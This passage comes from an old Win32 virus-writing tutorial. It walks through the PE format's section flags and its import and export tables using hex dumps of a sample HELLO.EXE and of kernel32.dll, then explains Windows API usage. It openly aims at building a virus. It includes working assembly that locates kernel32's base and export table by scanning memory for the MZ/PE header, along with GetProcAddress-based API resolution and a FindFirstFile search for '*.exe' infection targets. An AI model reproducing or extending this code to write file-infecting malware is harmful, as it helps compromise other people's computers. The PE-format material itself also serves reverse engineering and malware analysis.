                  000500000h Align data on a 16-byte boundary. 
                  000600000h Align data on a 32-byte boundary. 
                  000700000h Align data on a 64-byte boundary. 
                  000800000h Align data on a 128-byte boundary. 
                  000900000h Align data on a 256-byte boundary. 
                  000A00000h Align data on a 512-byte boundary. 
                  000B00000h Align data on a 1024-byte boundary. 
                  000C00000h Align data on a 2048-byte boundary. 
                  000D00000h Align data on a 4096-byte boundary. 
                  000E00000h Align data on a 8192-byte boundary. 
                  001000000h Section contains extended relocations. 
                  002000000h Section can be discarded as needed. 
                  040000000h Object must not be cached 
                  080000000h Object is not pageable 
                  100000000h Object is shared 
                  200000000h Executable object 
                  400000000h Readable object 
                  800000000h Writeable object 
                  All other bits are reserved for future use 
                  and should be set to zero. 
 
 
   Take a look one more time at our HELLO.EXE file 
 
   Physical 
    offset    0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F 
     
   00000160                           43 4F 44 45 00 00 00 00          CODE.... 
   00000170   00 10 00 00 00 10 00 00 3A 00 00 00 00 04 00 00  ................ 
   00000180   00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60  ................ 
   00000190   49 4D 50 4F 52 54 53 00 00 10 00 00 00 20 00 00  IMPORTS......... 
   000001A0   0C 00 00 00 00 06 00 00 00 00 00 00 00 00 00 00  ................ 
   000001B0   00 00 00 00 60 00 00 60 69 6D 70 6F 72 74 73 00  ........imports. 
   000001C0   00 10 00 00 00 30 00 00 94 00 00 00 00 08 00 00  ................ 
   000001D0   00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50  ................ 
   000001E0   72 65 6C 6F 63 73 00 00 00 10 00 00 00 40 00 00  relocs.......... 
   000001F0   18 00 00 00 00 0A 00 00 00 00 00 00 00 00 00 00  ................ 
   00000200   00 00 00 00 40 00 00 52                          ........ 
 
 
   -At offset 00000168h is the name of the first OBJECT TALBE: "CODE",0,0,0,0 
    With such a name we can easy deduce that it is the code section. 
   -At offset 00000174h is the RVA of this section: 00001000h. So the code 
    section will be loaded at offset 00401000h on memory (IMAGE BASE + RVA) 
   -At offset 0000017Ch is the PHYSICAL OFFSET: 00000400h. So this section is 
    writen on file at 00000400h (relative to the the beginning of the file) 
    -At offset 0000018Ch are the FLAGS: 60000060h 
     
    60000060h = 000000020h + 000000040h + 200000000h + 400000000h 
                     |            |           |             | 
    Code object <----+            |           |             | 
    Initialized data object <-----+           |             | 
    Executable object <-----------------------+             | 
    Readable object   <-------------------------------------+ 
 
 
 
    ****************** 
    * IMPORT SECTION * 
    ****************** 
 
   The most difficult thing to understood in coding a win32 virus is the IMPORT 
   section: All APIs (like MessageBoxA, ExitProcess,...) are in some .DLL files 
   For example MessageBoxA is in user32.dll and ExitProcess is in kernel32.dll. 
   Before to run hello.exe, the import section contain all the APIs name and the 
   name of the .DLL used in hello.exe .When you run hello.exe file, the loader  
   write at the right place (in import section) the address of the APIs (entry 
   point in the .DLL files). Why a such thing??? because the .DLL file can be  
   loaded at different address ( at the image base; note that image base value 
   is only a suggested address). So the problem for us is that kernel32.dll is 
   not always at the same place (see different version of windows: 95, 98, 2000, 
   NT, ...) And the entry point of APIs are not at the same place...CLEAR ??? 
 
   There is two ways to IMPORT APIs address in an PE .EXE file: by hint and by 
   ordinal. But there is only one way to EXPORT APIs address in a .DLL file: by 
   ordinal 
 
   I will try now to explain the concept of the IMPORT section (by hint): 
    The IMPORT section (by hint) begin with the IMPORT DATA DIRECTORYs. A IMPORT 
   DATA DIRECTORY is relative to only one .DLL  After it is put data: .DLL name 
   ,list of pointer, API address lists APIs name lists 
 
 
   The IMPORT DATA DIRECTORY looks like: 
 
   +-------------------------+-------------------------+ 
   |     RVA to a list of    |       DATE/TIME         | 
   | pointer to APIs names   |                         |  IMPORT DATA DIRECTORY 
   +-------------------------+-------------------------+          #1 
   | .DLL address (unused)   |     RVA to .DLL name    | 
   +-------------------------+-------------------------+ 
   |RVA to API address list  |  
   +-------------------------+ 
 
   |                         |                         | 
                                                          IMPORT DATA DIRECTORY 
   |                         |                         |          #n 
 
   |                         |                         | 
 
   +-------------------------+-------------------------+ 
   |          NULL           |           NULL          |   NULL IMPORT DATA  
   |                         |                         |   DIRECTORY  to say  
   +-------------------------+-------------------------+   it's the end  
   |          NULL           |           NULL          | 
   +-------------------------+-------------------------+ 
   |          NULL           |  
   +-------------------------+ 
 
 
 
   - RVA to a list of 
     pointer to APIs names   : This RVA point to a list of others pointers which point to 
                               API NAMEs imported from the .DLL 
 
   - DATE/TIME               : 
    
   - .DLL address (unused)   : In win9X this field contains the address where is 
                               load the .DLL file but not under win NT,2000,XP). 
                               Please don't use this value 
    
   - RVA to .DLL name        : This RVA point to the name of the .DLL file 
                               (library) 
    
   - RVA to API address list : This RVA point to the list of API address (the 
                               loader write them...) 
 
   Ok let's see the IMPORT section of our hello.exe file: 
 
   View of IMPORT section BEFORE loading hello.exe  
 
   Physical 
    offset    0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F 
     
   00000800   58 30 00 00 00 00 00 00 00 00 00 00 3C 30 00 00  ............<0.. 
   00000810   60 30 00 00 68 30 00 00 00 00 00 00 00 00 00 00  ................ 
   00000820   48 30 00 00 70 30 00 00 00 00 00 00 00 00 00 00  ................ 
   00000830   00 00 00 00 00 00 00 00 00 00 00 00 75 73 65 72  ............user 
   00000840   33 32 2E 64 6C 6C 00 00 6B 65 72 6E 65 6C 33 32  32.dll..kernel32 
   00000850   2E 64 6C 6C 00 00 53 04 78 30 00 00 00 00 00 00  .dll............ 
   00000860   78 30 00 00 00 00 00 00 86 30 00 00 00 00 00 00  x0.............. 
   00000870   86 30 00 00 00 00 00 00 00 00 4D 65 73 73 61 67  å0........Messag 
   00000880   65 42 6F 78 41 00 00 00 45 78 69 74 50 72 6F 63  eBoxA...ExitProc 
   00000890   65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00  ess............. 
 
   View of IMPORT section AFTER loading hello.exe 
 
   MEMORY 
   offset     0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F 
     
   00403000   58 30 00 00 91 A1 39 37 00 00 F5 BF 3C 30 00 00  ..........§+<0.. 
   00403010   60 30 00 00 68 30 00 00 B4 C2 1F 37 00 00 F7 BF  ........¦-.7..¸+ 
   00403020   48 30 00 00 70 30 00 00 00 00 00 00 00 00 00 00  ................ 
   00403030   00 00 00 00 00 00 00 00 00 00 00 00 75 73 65 72  ............user 
   00403040   33 32 2E 64 6C 6C 00 00 6B 65 72 6E 65 6C 33 32  32.dll..kernel32 
   00403050   2E 64 6C 6C 00 00 53 04 78 30 00 00 00 00 00 00  .dll............ 
   00403060   2E 41 F5 BF 00 00 00 00 86 30 00 00 00 00 00 00  .A§+............ 
   00403070   F8 D4 F8 BF 00 00 00 00 00 00 4D 65 73 73 61 67  °È°+......Messag 
   00403080   65 42 6F 78 41 00 00 00 45 78 69 74 50 72 6F 63  eBoxA...ExitProc 
   00403090   65 73 73 00 00 00 00 00 00 00 00 00 00 00 00 00  ess............. 
 
 
 
   It's very clear that some bytes have change ! ! ! The loader has write entry 
   point of imported APIs and others values I have describe... 
   The 60 first bytes are the 3 IMPORT DATA DIRECTORYs. the Last IMPORT DATA 
   DIRECTORY is null to set the end. 
 
   I will try to explain with the first IMPORT DATA DIRECTORY (20 first bytes) : 
 
 
   -At offset 00403000h is an 'RVA to a list of pointer to APIs names': this RVA 
    is 00003058h so we go on 00403058h and we will found a list of (RVA)pointer.  
    (the last pointer of the list is NULL). 
 
   -At offset 00403058h is a first rva pointer: this values is 00003078h. so we 
    go on 00403078h and we found 0,0,"MessageBoxA",0 ; This is the Name of the 
    API (The first byte are not always null, but the last byte is null) 
 
   -At offset 00403062h is a second rva pointer: this values is 00000000h. so it 
    is the end of this list. 
 
   -At offset 00403004h is an DATE/TIME value, no interest... 
 
   -At offset 00403008h is the address of the .DLL (from which is imported 
    MessageBoxA) so BFF50000h is the beginning of the .DLL and if you go on 
    BFF50000h you will find the PE header of the .DLL (so the first two byte are 
    "MZ") 
 
   -At offset 004030Ch is the RVA pointer to .DLL name : here it is 0000303Ch 
   so go on 0040303Ch and you will find "user32.dll",0 ;it is the name of the 
   .DDL . so MessageBoxA is in user32.dll library. 
    
   -At offset 00403010h is the RVA to API address list: 00003060h so go on 
    00403060h and you find a list of address of the API: 
      -The 1st address is here: BFF5412Eh . So it is the entry point of the API 
       "MessageBoxA" 
      -The second address is null so it is the end of the list. 
 
   So : 
 
   mov eax,dword BFF5412Eh ---+-----> do the -------> call MessageBoxA 
   call eax                __/     same thing as 
 
 
   the 'list of pointer to APIs names' and the 'list of API addresses' are two 
   parralels list: example: 
 
   the 3rd 'API name' in the 'list of pointer to APIs names' is relative to 
   the 3rd 'address' in the 'list of API addresses'. 
 
    Read several time this part of this article...I can't explain it better... 
 
 
    ****************** 
    * EXPORT SECTION * 
    ****************** 
 
   EXPORT section are found in .DLL file. When a .EXE is load, the loader write 
   on his IMPORT section the APIs address founded in the EXPORT section of the 
   .DLL 
 
   The EXPORT section looks like: 
 
 
   +---------------------------------------------------+ 
   |           EXPORT DIRECTORY TABLE                  | 
   +---------------------------------------------------+ 
   |          Export Address Table                     | 
   +---------------------------------------------------+ 
   |        Export Name Table Pointers                 | 
   +---------------------------------------------------+ 
   |             Export Ordinal Table                  | 
   +---------------------------------------------------+ 
   |    Export Name Table (API name list)              | 
   +---------------------------------------------------+ 
 
 
 
   ************************** 
   * EXPORT DIRECTORY TABLE * 
   ************************** 
 
   The export section begins with the Export Directory Table which describes the  
   remainder of the export information. 
 
 
   +-------------------------+-------------------------+ 
   |      EXPORT FLAGS       |        TIME/DATE        | 
   +-------------------------+-------------------------+ 
   |    MAJ\MIN VERSION      |          NAME RVA       | 
   +-------------------------+-------------------------+ 
   |      ORDINAL BASE       |     # EAT ENTRIES       | 
   +-------------------------+-------------------------+ 
   |     # NAME POINTERS     |    ADDRESS TABLE RVA    | 
   +-------------------------+-------------------------+ 
   | NAME POINTER TABLE RVA  |    ORDINAL TABLE RVA    | 
   +-------------------------+-------------------------+ 
 
 
EXPORT FLAGS           : currently set to 0 
 
TIME/DATE STAMP        : Time/Date the export data was created. 
 
MAJ\MIN  VERSION       : A user settable major/minor version number. 
 
NAME RVA               : RVA of the DLL ASCII Name. 
 
ORDINAL BASE           : First valid exported ordinal. This field specifies the 
                         starting ordinal number for the Export Address Table 
                         for this image. Normally set to 1. 
 
# EAT ENTRIES          : Indicates number of entries in the Export Address 
                         Table. 
 
# NAME POINTERS        : This indicates the number of entries in the Name 
                         Pointer Table (and parallel Ordinal Table). 
 
ADDRESS TABLE RVA      : RVA of the Export Address Table. 
 
NAME POINTER TABLE RVA : RVA of the Export Name Table Pointers. This address is 
                         relative to the beginning of the Image Base. This table 
                         is an array of RVA's with  #Names entries. 
 
ORDINAL TABLE RVA      : RVA of Export Ordinals Table Entry. 
 
   ************************ 
   * Export Address Table * 
   ************************ 
    
   The Export Address Table contains list of dword of the address of exported 
   entrypoints of the API of the .DLL . An ordinal number is used to index the 
   Export Address Table. The Ordinal Base must be subtracted from the ordinal 
   number before indexing into this table. 
 
   ****************************** 
   * Export Name Table Pointers * 
   ******************************* 
    
   The Export Name Table pointers array contains an address into the Export Name 
   Table. The pointers are 32-bits each (DWORD), and are relative to the Image 
   Base. The pointers are ordered lexically to allow binary searches. 
 
   ************************ 
   * Export Ordinal Table * 
   ************************ 
    
   The Export Name Table Pointers and the Export Ordinal Table form two parallel 
   arrays, separated to allow natural field alignment. The export ordinal table 
   array contains the Export Address Table ordinal numbers associated with the 
   named export referenced by corresponding Export Name Table Pointers. 
   The ordinals are 16-bits each (WORD), and already include the Ordinal Base 
   stored in the Export Directory Table. 
 
   ********************* 
   * Export Name Table * 
   ********************* 
    
   The Export Name Table contains optional ASCII names for exported entries in 
   the image. These tables are used with the array of Export Name Table Pointers 
   and the array of Export Ordinals to translate a procedure name string into an  
   ordinal number by searching for a matching name string. The ordinal number is 
   used to locate the entry point information in the Export Address Table. 
   Import references by name require the Export Name Table Pointers table to be 
   binary searched to find the matching name, then the corresponding Export 
   Ordinal Table is known to contain the entry point ordinal number. Import 
   references by ordinal number provide the fastest lookup because searching the 
   name table is not required. ASCII Strings are case sensitive and is 
   terminated by a null byte. 
 
 
   So let's take a look at kernel32.DLL (win98) after being load on memory by windows 
 
   MEMORY 
   offset     0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F 
 
   BFF70000   4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00   MZ.............. 
   BFF70010   B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00   ................ 
   BFF70020   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................ 
   BFF70030   00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00   ................ 
   BFF70040   0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68   ..............Th 
   BFF70050   69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F   is program.canno 
   BFF70060   74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20   t.be.run.in.DOS. 
   BFF70070   6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00   mode............ 
   BFF70080   50 45 00 00 4C 01 05 00 B4 C2 1F 37 00 00 00 00   PE.............. 
   BFF70090   00 00 00 00 E0 00 0F 21 0B 01 03 0A 00 60 05 00   ................ 
   BFF700A0   00 AA 01 00 00 00 00 00 6F 4B 01 00 00 10 00 00   ................ 
   BFF700B0   00 90 05 00 00 00 F7 BF 00 10 00 00 00 10 00 00   ................ 
   BFF700C0   04 00 00 00 01 00 09 00 04 00 00 00 00 00 00 00   ................ 
   BFF700D0   00 50 07 00 00 04 00 00 98 C3 07 00 02 00 00 00   ................ 
   BFF700E0   00 00 10 00 00 10 00 00 00 80 00 00 00 10 00 00   ................ 
   BFF700F0   00 00 00 00 10 00 00 00 50 09 05 00 B5 4F 00 00   ................ 
   BFF70100   00 00 00 00 00 00 00 00 00 D0 05 00 CC 76 01 00   ................ 
 
   .DLL and .EXE have the same structure 
 
   -at offset BFF70000h is the MZ signature 
   -at offset BFF7003Ch is the new header relocation: 00000080h so we go on 
    BFF70080h 
   -at offset BFF70080h is the PE signature, the beginning of the PE header 
   -at offset BFF700B7h is the image base: BFF70000h 
   -at offset BFF700F8h is the RVA of the EXPORT section : 00050950h 
   Go on BFFC0950h (BFF70000h + 00050950h) 
 
   MEMORY 
   offset     0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F 
 
   BFFC0950   00 00 00 00 A0 C2 1F 37 00 00 00 00 72 28 05 00 
   BFFC0960   01 00 00 00 61 03 00 00 E9 02 00 00 78 09 05 00 
   BFFC0970   FC 16 05 00 A0 22 05 00 D4 13 00 00 D4 13 00 00 
   BFFC0980   D4 13 00 00 D4 13 00 00 D4 13 00 00 D4 13 00 00 
   BFFC0990   D4 13 00 00 D4 13 00 00 D4 13 00 00 4D 42 01 00 
 
   It is the beginning of EXPORT section, the 20 first byte are the EXPORT 
   DIRECTORY TABLE #1 , the 20 next byte are the EXPORT DIRECTORY #2 ,....., 
 
   the EXPORT DIRECTORY TABLE #1 is: 
 
   -At offset BFFC0950h are the flags : 00000000h 
   -At offset BFFC0954h the time and date the kernel was load : 371FC2A0 
   -At offset BFFC0958h the version of the .DLL : 00000000h 
   -At offset BFFC095Ch the name RVA :00052872h (BFFC2872h=image_base+this_RVA) 
   -At offset BFFC0960h the ordinal base: 00000001h 
   -At offset BFFC096Ch the ADDRESS TABLE RVA : 00050978h 
    (BFFC0978h=image_base+RVA) 
   -At offset BFFC0970h the NAME POINTER TABLE RVA : 000516FCh 
    (BFFC16FCh=image_base+RVA) 
   -At offset BFFC0974h the ORDINAL TABLE RVA : 000522A0h 
    (BFFC22A0h=image_base+RVA) 
 
 
   Let's see the kernel on memory at different address: 
 
   ____________________________________________________________________________ 
 
                    NAME OF .DLL and API NAME LIST 
   MEMORY 
   offset     0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F 
 
   BFFC2870         4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 41  ..KERNEL32.dll.A 
   BFFC2880   64 64 41 74 6F 6D 41 00 41 64 64 41 74 6F 6D 57  ddAtomA.AddAtomW 
   BFFC2890   00 41 6C 6C 6F 63 43 6F 6E 73 6F 6C 65 00 41 6C  .AllocConsole.Al 
   BFFC28A0   6C 6F 63 4C 53 43 61 6C 6C 62 61 63 6B 00        locLSCallback. 
   ____________________________________________________________________________ 
 
                          ADDRESS TABLE 
   MEMORY 
   offset     0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F 
 
   BFFC0970                           D4 13 00 00 D4 13 00 00          ........ 
   BFFC0980   D4 13 00 00 D4 13 00 00 D4 13 00 00 D4 13 00 00  ................ 
   BFFC0990   D4 13 00 00 D4 13 00 00 D4 13 00 00 4D 42 01 00  ................ 
   BFFC09A0   B6 17 02 00 BA 18 01 00 33 F7 01 00 DA 0B 01 00  ................ 
   BFFC09B0   76 C5 00 00 3D B5 03 00 19 13 00 00 E8 E4 00 00  ................ 
   BFFC09C0   E2 F5 02 00 62 CF 02 00 C0 CF 02 00 9A CF 02 00  ................ 
   BFFC09D0   66 2B 02 00 9C B0 02 00 7A B3 02 00 3A B4 02 00  ................ 
   BFFC09E0   8B AF 02 00 8F AF 02 00 93 AF 02 00 97 AF 02 00  ................ 
   BFFC09F0   DB B3 02 00 DE B0 02 00 16 49 00 00 1C 97 02 00  ................ 
   BFFC0A00   9E B3 02 00 87 AF 02 00 AE AF 02 00 74 1F 00 00  ................ 
   BFFC0A10   AB 1F 00 00 A4 16 00 00 7A 15 00 00 A1 16 00 00  ................ 
   BFFC0A20   5D 15 00 00 9E 16 00 00 14 14 00 00 39 16 00 00  ................ 
   BFFC0A30   9B 16 00 00 C5 21 00 00 EE 21 00 00 1F 16 03 00  ................ 
   ____________________________________________________________________________ 
 
                       API NAME POINTER TABLE 
   MEMORY 
   offset     0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F 
 
   BFFC16F0                                       7F 28 05 00              .... 
   BFFC1700   88 28 05 00 91 28 05 00 9E 28 05 00 AE 28 05 00  ................ 
   BFFC1710   BE 28 05 00 CE 28 05 00 D9 28 05 00 E4 28 05 00  ................ 
   BFFC1720   F0 28 05 00 F5 28 05 00 0A 29 05 00 1F 29 05 00  ................ 
   ____________________________________________________________________________ 
 
                        ORDINAL TABLE 
   MEMORY 
   offset     0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F 
 
   BFFC22A0   31 00 75 00 7A 00 7B 00 7C 00 7D 00 7E 00 7F 00  
   BFFC22B0   80 00 81 00 82 00 83 00 84 00 85 00 86 00 87 00  
   BFFC22C0   88 00 89 00 8A 00 8B 00 8C 00 8D 00 8E 00 8F 00  
   BFFC22D0   90 00 94 00 91 00 92 00 93 00 95 00 96 00 97 00 
   BFFC22E0   98 00 99 00 9A 00 9B 00 9C 00 9D 00 9E 00 9F 00  
   BFFC22F0   A0 00 A1 00 A2 00 A3 00 A4 00 A5 00 A6 00 A7 00  
   BFFC2300   A8 00 A9 00 AA 00 AB 00 AC 00 AD 00 AE 00 AF 00 
   ____________________________________________________________________________ 
 
 
   Now I will try to explain how to find the address of the first API in the API 
   Name list: 
 
   API NAME POINTER TABLE and ORDINAL TABLE are two parallel table: 
   the 1st API NAME POINTER has for ordinal the 1st ordinal in ORDINAL TABLE 
   the 2nd API NAME POINTER has for ordinal the 2nd ordinal in ORDINAL TABLE 
   .     .     .     .     .     .     .     .     .     .     .     .     . 
   .     .     .     .     .     .     .     .     .     .     .     .     . 
 
   look at the beginning of API NAME POINTER TABLE and ORDINAL TABLE 
   * The first API NAME POINTER is: 0005287Fh (image_base+this_RVA=BFFC287Fh) 
     So see on BFFC287Fh: you find the ASCII string "AddAtomA",0 ;it is a name 
     of an API 
 
   * The first ORDINAL NUMBER   is: 0031h (49 in decimal) 
 
   So here is a problem for me to explain it to you: Some doc about PE file 
   format say that you you should do this substraction: 
   ( ORDINAL_NUMBER - ORDINAL_BASE ) in order to find the right ordinal number. 
   But I don't understand it and I think it don't works. Some say this: "The  
   ordinals (WORD) already include the Ordinal Base stored in the Export   
   Directory Table and are 0 based.". I think it's right 
 
   so the first address on ADDRESS TABLE as for ordinal 0 
      the  2nd  address on ADDRESS TABLE as for ordinal 1 
      the  3rd  address on ADDRESS TABLE as for ordinal 2 
       .    .     .      .    .      .   .   .    .     . 
       .    .     .      .    .      .   .   .    .     . 
       .    .     .      .    .      .   .   .    .     . 
 
     so go on ordinal 0031h (49 in decimal) and  you will find this address:  
     0003161Fh(at offset BFFC0A3Ch) .But don't forget to do this: 
 
   0003161Fh + image_base = 0003161Fh + 0BFF70000h = BFFA161Fh 
 
    So the entry point (address) of the API 'AddAtomA' is BFFA161Fh !!!!!!!!! 
 
 
            ============================================================= 
            +                        ________                           + 
            +         /\      |---\     |           |    |        ____  + 
            +        /  \     |    |    |         --+----+--     |      + 
            +       /    \    |___/     |           |    |       |____  + 
            +      /------\   |   \     |         --+----+--          \ + 
            +     /        \  |    \    |           |    |        ____/ + 
            +                                                           + 
            ============================================================= 
 
                               ACCESING WIN32 APIs 
 
   
 
   So we have see in the preview part that the problem for us is that 
   kernel32.dll And the entry point of API are not always at the same place. So 
   our objective is to find API address needed to run the virus: (like 
   CreateFile, WriteFile,...) To do this you should Find only two API address: 
   GetModuleHandle (or LoadLibraryA) and GetProcAddress. With them you can all 
   the other API address you want... 
 
   There is two way to find GetModuleHandle (or LoadLibraryA) and 
   GetProcAddress Address: 
 
 
   - By scanning the IMPORT section of the host file: 
 
   The problem here is that is the file don't import GetModuleHandle and 
   GetProcAddress so you can not find other API you need 
 
   - By scanning the EXPORT section of kernel32.DLL 
 
   The problem here is to find the image base (address) of kernel32.dll. In 
   win9X the addresses of .DLL were written on IMPORT section of the .EXE but it 
   is not the case on NT,2000,XP. So you can use this algo: 
 
       -find IMPORT section RVA in PE OPTIONAL HEADER 
       -find the first API address imported from kernel32.DLL 
       -set edi=this address found 
       -dec edi till you found the beginning of kernel32.dll ('MZ') 
        this code is only an example to find "MZ" signature in kernel32.dll 
 
 
;*************** 
scan_IMPORT:  ;* 
;*************** 
 
      mov esi,[image_base+ebp]    ; point on image base, this value should be 
                                  ; set at link time and be change during 
                                  ; infection if the prog as a different image 
                                  ; base 
      mov eax,esi                 ; 
      add eax,3ch                 ; eax point on offset reloc_dword 
      mov eax,[eax]               ; 
      add eax,esi                 ; eax point to the PE header 
      add eax,128 
      mov eax,[eax] 
      add eax,esi                 ; eax point to import table 
      add eax,12                  ; point to the .dll name 
       
;****************** 
find_kernel32:   ;* 
;****************** 
 
      xor ebx,ebx 
      cmp dword[eax],ebx         ; end of object table? 
   je erreur                     ; if yes then  end 
   call is_it_kernel32           ; FIND ascii sting "kernel32.dll" 
      cmp ecx,3                  ; found? 
   jae find_kernel_image_base    ; if yes then find_kernel_image_base 
      add eax,20                 ; no then point to an other .DLL name 
   jmp find_kernel32             ; 
    
;************************ 
find_kernel_image_base:;* 
;************************ 
 
      mov eax,[eax+4]            ; point to the list of API addresses pointer 
      add eax,esi                ; point to API addresses list 
      mov eax,[eax]              ; eax=address of the 1st API imported from 
                                 ; kernel32.dll 
      xchg edi,eax 
 
;******************** 
find_MZ_in_kernel: ;* 
;******************** 
;so edi is an unknow address somewhere in kernel32.dll 
 
      dec edi 
      mov esi,edi 
      cmp word[edi],"MZ"         ; edi point to the beginning of kernel32.dll ? 
   jne find_MZ_in_kernel         ; if no then dec edi 
 
      mov esi,[esi+3ch]          ; verify if header_reloc_dword < 200h 
      cmp esi,dword 200h         ; in order not to crash the program 
   ja find_MZ_in_kernel 
 
      add esi,edi                ; go on the new header 
      cmp word[esi],"PE"         ; PE header? 
   jne find_MZ_in_kernel         ; no! then dec edi 
       add esi,52                ; point to image_base_dword 
 
      cmp edi,dword[esi]         ; compare image_base with pointer esi 
   jne find_MZ_in_kernel         ; not equal! then dec edi 
                                 ; now edi=image base of kernel32.dll 
 
      mov esi,edi                ; now esi=image base of kernel32.dll 
      add esi,3ch                ; 
      mov esi,[esi]              ;  
      add esi,edi                ; esi point to the PE header 
 
      add esi,120 
      mov esi,[esi]              ; 
      add esi,edi                ; !!! esi point now to the EXPORT TABLE !!! 
ret ; 
;  NOW you should find address of GetModuleHandle and GetProcaddress 
;  in the EXPORT section. and with these two APIs you will find 
;  all you need !!!!! 
; 
; 
;                 GOOD LUCK !!!!!!!!! 
; 
; 
;****************** 
is_it_kernel32:  ;* 
;****************** 
 
      xor ecx,ecx 
      mov ebx,dword[eax] 
      add ebx,esi              ; ebx point to the name of the dll 
 
      cmp dword[ebx],"Kern"    ; 
   jne az1                     ; this code return ecx=3 if "Kernel32.DLL"   
      inc ecx                  ; ASCII string is found. 
az1:                           ; 
      cmp dword[ebx+4],"el32"  ; But you should search too for: 
   jne az2                     ; "KERNEL32.DLL" 
      inc ecx                  ; "kernel32.DLL" 
az2:                           ; "Kernel32.dll" 
      cmp dword[ebx+16],".DLL" ;       ... 
   jne az3                     ;       ... 
      inc ecx                  ;       ... 
az3:                           ; 
   ret                         ; 
 
 
   This piece of code is not optimised in order to be easy understood. 
   You should find your own way to code this part. 
 
 
 
            ============================================================= 
            +                        ________                           + 
            +         /\      |---\     |           |    |         ___  + 
            +        /  \     |    |    |         --+----+--      /     + 
            +       /    \    |___/     |           |    |       /____  + 
            +      /------\   |   \     |         --+----+--     |    \ + 
            +     /        \  |    \    |           |    |        \___/ + 
            +                                                           + 
            ============================================================= 
 
                               HOW TO USE SOME APIs 
 
                            +++++++++++++++++++ 
                            + GetModuleHandle + 
                            +++++++++++++++++++ 
 
   The GetModuleHandle function returns a module handle for the specified module 
   if the file has been mapped into the address space of the calling process.  
 
      push lpModuleName   ; address of module name to return handle for  
   call GetModuleHandleA  
 
   Parameters: 
 
   * IpModuleName 
 
   Points to a null-terminated string that names a Win32 module (either a .DLL 
   or .EXE file). If the filename extension is omitted, the default library 
   extension .DLL is appended. The filename string can include a trailing point 
   character (.) to indicate that the module name has no extension. The string 
   does not have to specify a path. The name is compared (case independently) to 
   the names of modules currently mapped into the address space of the calling 
   process. If this parameter is NULL, GetModuleHandle returns a handle of the 
   file used to create the calling process.  
 
   Return Values 
 
   If the function succeeds, the return value is a handle to the specified 
   module. If the function fails, the return value is NULL 
 
   _____________________________________________________________________________ 
 
                               +++++++++++++++++++ 
                               + GetProcAddress  + 
                               +++++++++++++++++++ 
 
   The GetProcAddress function returns the address of the specified exported 
   dynamic-link library (DLL) function.  
 
      push dword lpProcName      ;name of function  
      push dword [hModule]       ;handle to DLL module 
   call GetProcAddress    
	 
   Parameters 
 
   * hModule 
    Identifies the DLL module that contains the function. The LoadLibrary or 
   GetModuleHandle function returns this handle.  
 
   * lpProcName 
 
   Points to a null-terminated string containing the function name, or specifies 
   the function's ordinal value. If this parameter is an ordinal value, it must 
   be in the low-order word; the high-order word must be zero.  
  
   Return Values 
 
   If the function succeeds, the return value is the address of the DLL's 
   exported function. If the function fails, the return value is NULL.  
 
   _____________________________________________________________________________ 
 
   Example: 
 
      push dword Kern         ; address of .DLL ascii name to return his handle 
   call GetModuleHandleA      ; return eax=handle 
      mov dword[handle],eax   ; save handle 
 
      push dword fct1         ; address of the ascii name of the API  
      push dword[handle]      ; handle of module 
   call GetProcAddress 
 
 
   fct1 db"WriteFile",0 
   Kern db "Kernel32.dll",0 
   handle dd 0 
 
   _____________________________________________________________________________ 
 
                                  +++++++++++++++++ 
                                  + FindFirstFile + 
                                  +++++++++++++++++ 
 
   The FindFirstFile function searches a directory for a file whose name matches 
   the specified filename. FindFirstFile examines subdirectory names as well as 
   filenames.  
 
      push dword lpFileName     ; pointer to name of file to search for   
      push dword lpFindFileData ; pointer to returned information 
   call FindFirstFileA 
 
   Parameters 
 
   * lpFileName: 
 
   Points to a null-terminated string that specifies a valid directory or path 
   and filename, which can contain wildcard characters (* and ?). This string 
   must not exceed MAX_PATH characters. 
 
   * pFindFileData: 
 
   Points to the WIN32_DATA structure that receives information about the found 
   file or subdirectory. The structure can be used in subsequent calls to the 
   FindNextFile or FindClose function to refer to the file or subdirectory.  
 
   Return Values 
 
   If the function succeeds, the return value is a search handle used in a 
   subsequent call to FindNextFile or FindClose. 
   If the function fails, the return value is INVALID_HANDLE_VALUE (-1 or 
   0FFFFFFFFh) 
 
   Example:  
 
 
      push dword Win32data      ; add of structure of information about the file 
      push dword exe_mask       ; address of ascci name of the file to search 
   call FindFirstFileA          ; return in eax an search handle 
      cmp eax,-1                ; 
      je error                  ; error? file not found? 
   mov dword[search_handle],eax ; save handle 
 
 
search_handle dd 0 
exe_mask db"*.exe",0 
 
Win32data: 
          FileAttributes           dd 0              ;attributes 
          CreationTime             dd 0,0            ;time of creation 
          LastAccessTime           dd 0,0            ;last access time 
          LastWriteTime            dd 0,0            ;last modification 
          FileSizeHigh             dd 0              ;filesize 
          FileSizeLow              dd 0              ; " 
          Reserved0                dd 0 
          Reserved1                dd 0 
          FileName                 resb 260          ;long filename 
          AlternateFileName        resb 13           ;short filename 
 
   _____________________________________________________________________________ 
 
                                      ++++++++++++++++ 
                                      + FindNextFile + 
                                      ++++++++++++++++ 
                                       
   The FindNextFile function continues a file search from a previous call to the 
   FindFirstFile function.  
 
      push dword Win32data    ; address of Win32data  
      push dword[hFindFile]   ; handle to search   
   call FindNextFileA 
 
   Parameters 
 
   * hFindFile 
 
   Identifies a search handle returned by a previous call to the FindFirstFile 
   function.  
 
   * lpFindFileData 
 
   Points to the WIN32_FIND_DATA structure that receives information about the 
   found file or subdirectory. The structure can be used in subsequent calls to 
   FindNextFile to refer to the found file or directory.  
 
    Return Values 
 
   If the function succeeds, the return value is nonzero. 
